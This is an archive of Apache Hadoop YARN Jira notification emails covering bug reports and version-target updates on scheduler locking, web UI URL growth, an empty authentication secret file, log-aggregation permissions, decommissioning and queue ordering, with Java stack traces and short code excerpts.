> URL: https://issues.apache.org/jira/browse/YARN-8657
> Project: Hadoop YARN
> Issue Type: Bug
> Components: capacity scheduler
>Reporter: Sumana Sathish
>Assignee: Wangda Tan
>Priority: Major
> Attachments: YARN-8657.001.patch, YARN-8657.002.patch
>
>
> When async scheduling is enabled, user limit calculation could be wrong:
> It is possible that scheduler calculated a user_limit, but inside
> {{canAssignToUser}} it becomes staled.
> We need to protect user limit calculation.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-8657) User limit calculation should be read-lock-protected within LeafQueue
[
https://issues.apache.org/jira/browse/YARN-8657?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17565898#comment-17565898
]
Masatake Iwasaki commented on YARN-8657:
update the targets to 3.2.5 for preparing 3.2.4 release.
> User limit calculation should be read-lock-protected within LeafQueue
> -
>
> Key: YARN-8657
> URL: https://issues.apache.org/jira/browse/YARN-8657
> Project: Hadoop YARN
> Issue Type: Bug
> Components: capacity scheduler
>Reporter: Sumana Sathish
>Assignee: Wangda Tan
>Priority: Major
> Attachments: YARN-8657.001.patch, YARN-8657.002.patch
>
>
> When async scheduling is enabled, user limit calculation could be wrong:
> It is possible that scheduler calculated a user_limit, but inside
> {{canAssignToUser}} it becomes staled.
> We need to protect user limit calculation.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9007) CS preemption monitor should only select GUARANTEED containers as candidates for queue and reserved container preemption
[ https://issues.apache.org/jira/browse/YARN-9007?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-9007: --- Target Version/s: 3.2.5 (was: 3.2.4) > CS preemption monitor should only select GUARANTEED containers as candidates > for queue and reserved container preemption > > > Key: YARN-9007 > URL: https://issues.apache.org/jira/browse/YARN-9007 > Project: Hadoop YARN > Issue Type: Bug > Components: capacityscheduler >Affects Versions: 3.2.1 >Reporter: Tao Yang >Assignee: Tao Yang >Priority: Major > Attachments: YARN-9007.001.patch > > > Currently CS preemption monitor doesn't consider execution type of > containers, so OPPORTUNISTIC containers maybe selected and killed without > effect. > In some scenario with OPPORTUNISTIC containers, not even preemption can't > work properly to balance resources, but also some apps with OPPORTUNISTIC > containers maybe effected and unable to work. -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10660) YARN Web UI have problem when show node partitions resource
[
https://issues.apache.org/jira/browse/YARN-10660?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17565896#comment-17565896
]
Masatake Iwasaki commented on YARN-10660:
-
update the targets to 3.2.5 for preparing 3.2.4 release.
> YARN Web UI have problem when show node partitions resource
> ---
>
> Key: YARN-10660
> URL: https://issues.apache.org/jira/browse/YARN-10660
> Project: Hadoop YARN
> Issue Type: Bug
> Components: webapp
>Affects Versions: 3.1.0, 3.1.1, 3.2.1, 3.2.2
>Reporter: tuyu
>Priority: Minor
> Attachments: 2021-03-01 19-56-02 的屏幕截图.png, YARN-10660.patch
>
>
> when enable yarn label function, Yarn UI will show queue resource base on
> partitions,but there have some problem when click expand button. The url will
> increase very long, like this
> {code:java}
> 127.0.0.1:20701/cluster/scheduler?openQueues=Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
> {code}
> The root cause is
> {code:java}
>origin url is:
> Partition:
>htmlencode is:
> Partition:
> SchedulerPageUtil have some javascript code
> storeExpandedQueue
> tmpCurrentParam = tmpCurrentParam.split('&');",
>the Partition:
> will split and len > 1, the problem logic is here, if click expand button
> close, the function will clear params, but it the split array is not match
> orgin url
> {code}
> when click expand button close, lt;DEFAULT_PARTITION> vCores:96> will append, if click expand multi times, the length will
> increase too long
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10660) YARN Web UI have problem when show node partitions resource
[
https://issues.apache.org/jira/browse/YARN-10660?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-10660:
Target Version/s: 3.3.9, 3.2.5 (was: 3.2.4, 3.3.9)
> YARN Web UI have problem when show node partitions resource
> ---
>
> Key: YARN-10660
> URL: https://issues.apache.org/jira/browse/YARN-10660
> Project: Hadoop YARN
> Issue Type: Bug
> Components: webapp
>Affects Versions: 3.1.0, 3.1.1, 3.2.1, 3.2.2
>Reporter: tuyu
>Priority: Minor
> Attachments: 2021-03-01 19-56-02 的屏幕截图.png, YARN-10660.patch
>
>
> when enable yarn label function, Yarn UI will show queue resource base on
> partitions,but there have some problem when click expand button. The url will
> increase very long, like this
> {code:java}
> 127.0.0.1:20701/cluster/scheduler?openQueues=Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20#Partition:%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
> {code}
> The root cause is
> {code:java}
>origin url is:
> Partition:
>htmlencode is:
> Partition:
> SchedulerPageUtil have some javascript code
> storeExpandedQueue
> tmpCurrentParam = tmpCurrentParam.split('&');",
>the Partition:
> will split and len > 1, the problem logic is here, if click expand button
> close, the function will clear params, but it the split array is not match
> orgin url
> {code}
> when click expand button close, lt;DEFAULT_PARTITION> vCores:96> will append, if click expand multi times, the length will
> increase too long
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10814) YARN shouldn't start with empty hadoop.http.authentication.signature.secret.file
[
https://issues.apache.org/jira/browse/YARN-10814?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-10814:
Fix Version/s: (was: 3.3.1)
> YARN shouldn't start with empty
> hadoop.http.authentication.signature.secret.file
>
>
> Key: YARN-10814
> URL: https://issues.apache.org/jira/browse/YARN-10814
> Project: Hadoop YARN
> Issue Type: Bug
>Reporter: Benjamin Teke
>Assignee: Tamas Domok
>Priority: Major
> Labels: patch-available, pull-request-available
> Fix For: 3.4.0, 3.3.2, 3.2.4
>
> Attachments: YARN-10814-branch-3.3.patch
>
> Time Spent: 5h
> Remaining Estimate: 0h
>
> YARN currently throws the following warning upon accessing any REST endpoint
> when the configured http secret file exists but is empty:
> {code:java}
> 2021-03-03 20:46:16,616 WARN org.eclipse.jetty.server.HttpChannel: /jmx
> java.lang.IllegalArgumentException: Empty key
> at
> java.base/javax.crypto.spec.SecretKeySpec.(SecretKeySpec.java:95)
> at
> org.apache.hadoop.security.authentication.util.Signer.computeSignature(Signer.java:93)
> at
> org.apache.hadoop.security.authentication.util.Signer.sign(Signer.java:59)
> at
> org.apache.hadoop.security.authentication.server.AuthenticationFilter.doFilter(AuthenticationFilter.java:587)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1638)
> at
> org.apache.hadoop.security.http.CrossOriginFilter.doFilter(CrossOriginFilter.java:98)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1638)
> at
> org.apache.hadoop.http.HttpServer2$QuotingInputFilter.doFilter(HttpServer2.java:1681)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1638)
> at
> org.apache.hadoop.http.NoCacheFilter.doFilter(NoCacheFilter.java:45)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1638)
> at
> org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:567)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
> at
> org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:602)
> at
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235)
> at
> org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1610)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)
> at
> org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1377)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)
> at
> org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:507)
> at
> org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1580)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)
> at
> org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1292)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
> at
> org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:146)
> at
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)
> at org.eclipse.jetty.server.Server.handle(Server.java:501)
> at
> org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:383)
> at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:556)
> at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:375)
> at
> org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:273)
> at
> org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)
> at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
> at
> org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.onFillable(SslConnection.java:540)
> at
> org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:395)
> at
> org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:161)
> at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
> at
> org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)
> at
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:336)
> at
> org.eclipse
[jira] [Updated] (YARN-10814) YARN shouldn't start with empty hadoop.http.authentication.signature.secret.file
[
https://issues.apache.org/jira/browse/YARN-10814?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-10814:
Fix Version/s: 3.2.4
(was: 3.2.3)
> YARN shouldn't start with empty
> hadoop.http.authentication.signature.secret.file
>
>
> Key: YARN-10814
> URL: https://issues.apache.org/jira/browse/YARN-10814
> Project: Hadoop YARN
> Issue Type: Bug
>Reporter: Benjamin Teke
>Assignee: Tamas Domok
>Priority: Major
> Labels: patch-available, pull-request-available
> Fix For: 3.4.0, 3.3.1, 3.3.2, 3.2.4
>
> Attachments: YARN-10814-branch-3.3.patch
>
> Time Spent: 5h
> Remaining Estimate: 0h
>
> YARN currently throws the following warning upon accessing any REST endpoint
> when the configured http secret file exists but is empty:
> {code:java}
> 2021-03-03 20:46:16,616 WARN org.eclipse.jetty.server.HttpChannel: /jmx
> java.lang.IllegalArgumentException: Empty key
> at
> java.base/javax.crypto.spec.SecretKeySpec.(SecretKeySpec.java:95)
> at
> org.apache.hadoop.security.authentication.util.Signer.computeSignature(Signer.java:93)
> at
> org.apache.hadoop.security.authentication.util.Signer.sign(Signer.java:59)
> at
> org.apache.hadoop.security.authentication.server.AuthenticationFilter.doFilter(AuthenticationFilter.java:587)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1638)
> at
> org.apache.hadoop.security.http.CrossOriginFilter.doFilter(CrossOriginFilter.java:98)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1638)
> at
> org.apache.hadoop.http.HttpServer2$QuotingInputFilter.doFilter(HttpServer2.java:1681)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1638)
> at
> org.apache.hadoop.http.NoCacheFilter.doFilter(NoCacheFilter.java:45)
> at
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1638)
> at
> org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:567)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
> at
> org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:602)
> at
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235)
> at
> org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1610)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)
> at
> org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1377)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)
> at
> org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:507)
> at
> org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1580)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)
> at
> org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1292)
> at
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
> at
> org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:146)
> at
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)
> at org.eclipse.jetty.server.Server.handle(Server.java:501)
> at
> org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:383)
> at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:556)
> at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:375)
> at
> org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:273)
> at
> org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)
> at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
> at
> org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.onFillable(SslConnection.java:540)
> at
> org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:395)
> at
> org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:161)
> at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
> at
> org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)
> at
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:
[jira] [Updated] (YARN-10901) Permission checking error on an existing directory in LogAggregationFileController#verifyAndCreateRemoteLogDir
[
https://issues.apache.org/jira/browse/YARN-10901?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-10901:
Fix Version/s: 3.2.4
(was: 3.2.3)
> Permission checking error on an existing directory in
> LogAggregationFileController#verifyAndCreateRemoteLogDir
> --
>
> Key: YARN-10901
> URL: https://issues.apache.org/jira/browse/YARN-10901
> Project: Hadoop YARN
> Issue Type: Bug
> Components: nodemanager
>Affects Versions: 3.2.2, 3.3.1
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.3.2, 3.2.4
>
> Time Spent: 3h 10m
> Remaining Estimate: 0h
>
> *LogAggregationFileController.verifyAndCreateRemoteLogDir* tries to check
> whether the remote file system has set/modify permissions on the
> _yarn.nodemanager.remote-app-log-dir:_
>
> {code:java}
> //Check if FS has capability to set/modify permissions
> try {
> remoteFS.setPermission(qualified, new
> FsPermission(TLDIR_PERMISSIONS));
> } catch (UnsupportedOperationException use) {
> LOG.info("Unable to set permissions for configured filesystem since"
> + " it does not support this", remoteFS.getScheme());
> fsSupportsChmod = false;
> } catch (IOException e) {
> LOG.warn("Failed to check if FileSystem suppports permissions on "
> + "remoteLogDir [" + remoteRootLogDir + "]", e);
> } {code}
> But it will fail if the _yarn.nodemanager.remote-app-log-dir_'s owner is not
> the same as the NodeManager's user.
>
> Example error
> {code:java}
> 2021-08-27 11:33:21,649 WARN
> org.apache.hadoop.yarn.logaggregation.filecontroller.LogAggregationFileController:
> Failed to check if FileSystem suppports permissions on remoteLogDir
> [/tmp/logs]2021-08-27 11:33:21,649 WARN
> org.apache.hadoop.yarn.logaggregation.filecontroller.LogAggregationFileController:
> Failed to check if FileSystem suppports permissions on remoteLogDir
> [/tmp/logs]org.apache.hadoop.security.AccessControlException: Permission
> denied. user=yarn is not the owner of inode=/tmp/logs at
> org.apache.hadoop.hdfs.server.namenode.FSPermissionChecker.checkOwner(FSPermissionChecker.java:464)
> at
> org.apache.hadoop.hdfs.server.namenode.FSPermissionChecker.checkPermission(FSPermissionChecker.java:407)
> at
> org.apache.hadoop.hdfs.server.namenode.FSPermissionChecker.checkPermissionWithContext(FSPermissionChecker.java:417)
> at
> org.apache.hadoop.hdfs.server.namenode.FSPermissionChecker.checkPermission(FSPermissionChecker.java:297)
> at
> org.apache.hadoop.hdfs.server.namenode.FSDirectory.checkPermission(FSDirectory.java:1950)
> at
> org.apache.hadoop.hdfs.server.namenode.FSDirectory.checkPermission(FSDirectory.java:1931)
> at
> org.apache.hadoop.hdfs.server.namenode.FSDirectory.checkOwner(FSDirectory.java:1876)
> at
> org.apache.hadoop.hdfs.server.namenode.FSDirAttrOp.setPermission(FSDirAttrOp.java:64)
> at
> org.apache.hadoop.hdfs.server.namenode.FSNamesystem.setPermission(FSNamesystem.java:1976)
> at
> org.apache.hadoop.hdfs.server.namenode.NameNodeRpcServer.setPermission(NameNodeRpcServer.java:858)
> at
> org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolServerSideTranslatorPB.setPermission(ClientNamenodeProtocolServerSideTranslatorPB.java:548)
> at
> org.apache.hadoop.hdfs.protocol.proto.ClientNamenodeProtocolProtos$ClientNamenodeProtocol$2.callBlockingMethod(ClientNamenodeProtocolProtos.java)
> at
> org.apache.hadoop.ipc.ProtobufRpcEngine$Server$ProtoBufRpcInvoker.call(ProtobufRpcEngine.java:533)
> at org.apache.hadoop.ipc.RPC$Server.call(RPC.java:1070) at
> org.apache.hadoop.ipc.Server$RpcCall.run(Server.java:989) at
> org.apache.hadoop.ipc.Server$RpcCall.run(Server.java:917) at
> java.security.AccessController.doPrivileged(Native Method) at
> javax.security.auth.Subject.doAs(Subject.java:422) at
> org.apache.hadoop.security.UserGroupInformation.doAs(UserGroupInformation.java:1898)
> at org.apache.hadoop.ipc.Server$Handler.run(Server.java:2894)
> at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at
> sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
> at
> sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
> at java.lang.reflect.Constructor.newInstance(Constructor.java:423) at
> org.apache.hadoop.ipc.RemoteException.instantiateException(RemoteException.java:121)
> at
> org.apache.hadoop.ipc.RemoteException.unwrapRemoteException(RemoteException.java:88)
> at org.apache.hadoop.hdfs.DFSClient.setPermission(DFSClient.java:1921
[jira] [Commented] (YARN-4858) start-yarn and stop-yarn scripts to support timeline and sharedcachemanager
[ https://issues.apache.org/jira/browse/YARN-4858?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541333#comment-17541333 ] Masatake Iwasaki commented on YARN-4858: updated the target version for preparing 2.10.2 release. > start-yarn and stop-yarn scripts to support timeline and sharedcachemanager > --- > > Key: YARN-4858 > URL: https://issues.apache.org/jira/browse/YARN-4858 > Project: Hadoop YARN > Issue Type: Improvement > Components: scripts >Affects Versions: 2.8.0 >Reporter: Steve Loughran >Assignee: Steve Loughran >Priority: Minor > Labels: oct16-easy > Attachments: YARN-4858-001.patch, YARN-4858-branch-2.001.patch > > > The start-yarn and stop-yarn scripts don't have any (even commented out) > support for the timeline and sharedcachemanager > Proposed: > * bash and cmd start-yarn scripts have commented out start actions > * stop-yarn scripts stop the servers. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-4858) start-yarn and stop-yarn scripts to support timeline and sharedcachemanager
[ https://issues.apache.org/jira/browse/YARN-4858?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-4858: --- Target Version/s: 2.10.3 (was: 2.10.2) > start-yarn and stop-yarn scripts to support timeline and sharedcachemanager > --- > > Key: YARN-4858 > URL: https://issues.apache.org/jira/browse/YARN-4858 > Project: Hadoop YARN > Issue Type: Improvement > Components: scripts >Affects Versions: 2.8.0 >Reporter: Steve Loughran >Assignee: Steve Loughran >Priority: Minor > Labels: oct16-easy > Attachments: YARN-4858-001.patch, YARN-4858-branch-2.001.patch > > > The start-yarn and stop-yarn scripts don't have any (even commented out) > support for the timeline and sharedcachemanager > Proposed: > * bash and cmd start-yarn scripts have commented out start actions > * stop-yarn scripts stop the servers. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-8118) Better utilize gracefully decommissioning node managers
[ https://issues.apache.org/jira/browse/YARN-8118?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-8118: --- Target Version/s: 2.10.3 (was: 2.10.2) > Better utilize gracefully decommissioning node managers > --- > > Key: YARN-8118 > URL: https://issues.apache.org/jira/browse/YARN-8118 > Project: Hadoop YARN > Issue Type: Sub-task > Components: yarn >Affects Versions: 2.8.2 > Environment: * Google Compute Engine (Dataproc) > * Java 8 > * Hadoop 2.8.2 using client-mode graceful decommissioning >Reporter: Karthik Palaniappan >Assignee: Karthik Palaniappan >Priority: Major > Attachments: YARN-8118-branch-2.001.patch > > > Proposal design doc with background + details (please comment directly on > doc): > [https://docs.google.com/document/d/1hF2Bod_m7rPgSXlunbWGn1cYi3-L61KvQhPlY9Jk9Hk/edit#heading=h.ab4ufqsj47b7] > tl;dr Right now, DECOMMISSIONING nodes must wait for in-progress applications > to complete before shutting down, but they cannot run new containers from > those in-progress applications. This is wasteful, particularly in > environments where you are billed by resource usage (e.g. EC2). > Proposal: YARN should schedule containers from in-progress applications on > DECOMMISSIONING nodes, but should still avoid scheduling containers from new > applications. That will make in-progress applications complete faster and let > nodes decommission faster. Overall, this should be cheaper. > I have a working patch without unit tests that's surprisingly just a few real > lines of code (patch 001). If folks are happy with the proposal, I'll write > unit tests and also write a patch targeted at trunk. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-8118) Better utilize gracefully decommissioning node managers
[ https://issues.apache.org/jira/browse/YARN-8118?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541330#comment-17541330 ] Masatake Iwasaki commented on YARN-8118: updated the target version for preparing 2.10.2 release. > Better utilize gracefully decommissioning node managers > --- > > Key: YARN-8118 > URL: https://issues.apache.org/jira/browse/YARN-8118 > Project: Hadoop YARN > Issue Type: Sub-task > Components: yarn >Affects Versions: 2.8.2 > Environment: * Google Compute Engine (Dataproc) > * Java 8 > * Hadoop 2.8.2 using client-mode graceful decommissioning >Reporter: Karthik Palaniappan >Assignee: Karthik Palaniappan >Priority: Major > Attachments: YARN-8118-branch-2.001.patch > > > Proposal design doc with background + details (please comment directly on > doc): > [https://docs.google.com/document/d/1hF2Bod_m7rPgSXlunbWGn1cYi3-L61KvQhPlY9Jk9Hk/edit#heading=h.ab4ufqsj47b7] > tl;dr Right now, DECOMMISSIONING nodes must wait for in-progress applications > to complete before shutting down, but they cannot run new containers from > those in-progress applications. This is wasteful, particularly in > environments where you are billed by resource usage (e.g. EC2). > Proposal: YARN should schedule containers from in-progress applications on > DECOMMISSIONING nodes, but should still avoid scheduling containers from new > applications. That will make in-progress applications complete faster and let > nodes decommission faster. Overall, this should be cheaper. > I have a working patch without unit tests that's surprisingly just a few real > lines of code (patch 001). If folks are happy with the proposal, I'll write > unit tests and also write a patch targeted at trunk. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9770) Create a queue ordering policy which picks child queues with equal probability
[ https://issues.apache.org/jira/browse/YARN-9770?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541321#comment-17541321 ] Masatake Iwasaki commented on YARN-9770: updated the target version for preparing 2.10.2 release. > Create a queue ordering policy which picks child queues with equal probability > -- > > Key: YARN-9770 > URL: https://issues.apache.org/jira/browse/YARN-9770 > Project: Hadoop YARN > Issue Type: Improvement >Reporter: Jonathan Hung >Assignee: Jonathan Hung >Priority: Major > Attachments: YARN-9770.001.patch, YARN-9770.002.patch, > YARN-9770.003.patch, activeUsers_overlay.png > > > Ran some simulations with the default queue_utilization_ordering_policy: > An underutilized queue which receives an application with many (thousands) > resource requests will hog scheduler allocations for a long time (on the > order of a minute). In the meantime apps are getting submitted to all other > queues, which increases activeUsers in these queues, which drops user limit > in these queues to small values if minimum-user-limit-percent is configured > to small values (e.g. 10%). > To avoid this issue, we assign to queues with equal probability, to avoid > scenarios where queues don't get allocations for a long time. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9736) Recursively configure app ordering policies
[
https://issues.apache.org/jira/browse/YARN-9736?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541322#comment-17541322
]
Masatake Iwasaki commented on YARN-9736:
updated the target version for preparing 2.10.2 release.
> Recursively configure app ordering policies
> ---
>
> Key: YARN-9736
> URL: https://issues.apache.org/jira/browse/YARN-9736
> Project: Hadoop YARN
> Issue Type: Task
>Reporter: Jonathan Hung
>Assignee: Jonathan Hung
>Priority: Major
> Attachments: YARN-9736.001.patch
>
>
> Currently app ordering policy will find confs with prefix
> {{.ordering-policy}}. For queues with same ordering policy
> configurations it's easier to have a queue inherit confs from its parent.
--
This message was sent by Atlassian Jira
(v8.20.7#820007)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9736) Recursively configure app ordering policies
[
https://issues.apache.org/jira/browse/YARN-9736?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-9736:
---
Target Version/s: 2.10.3 (was: 2.10.2)
> Recursively configure app ordering policies
> ---
>
> Key: YARN-9736
> URL: https://issues.apache.org/jira/browse/YARN-9736
> Project: Hadoop YARN
> Issue Type: Task
>Reporter: Jonathan Hung
>Assignee: Jonathan Hung
>Priority: Major
> Attachments: YARN-9736.001.patch
>
>
> Currently app ordering policy will find confs with prefix
> {{.ordering-policy}}. For queues with same ordering policy
> configurations it's easier to have a queue inherit confs from its parent.
--
This message was sent by Atlassian Jira
(v8.20.7#820007)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9770) Create a queue ordering policy which picks child queues with equal probability
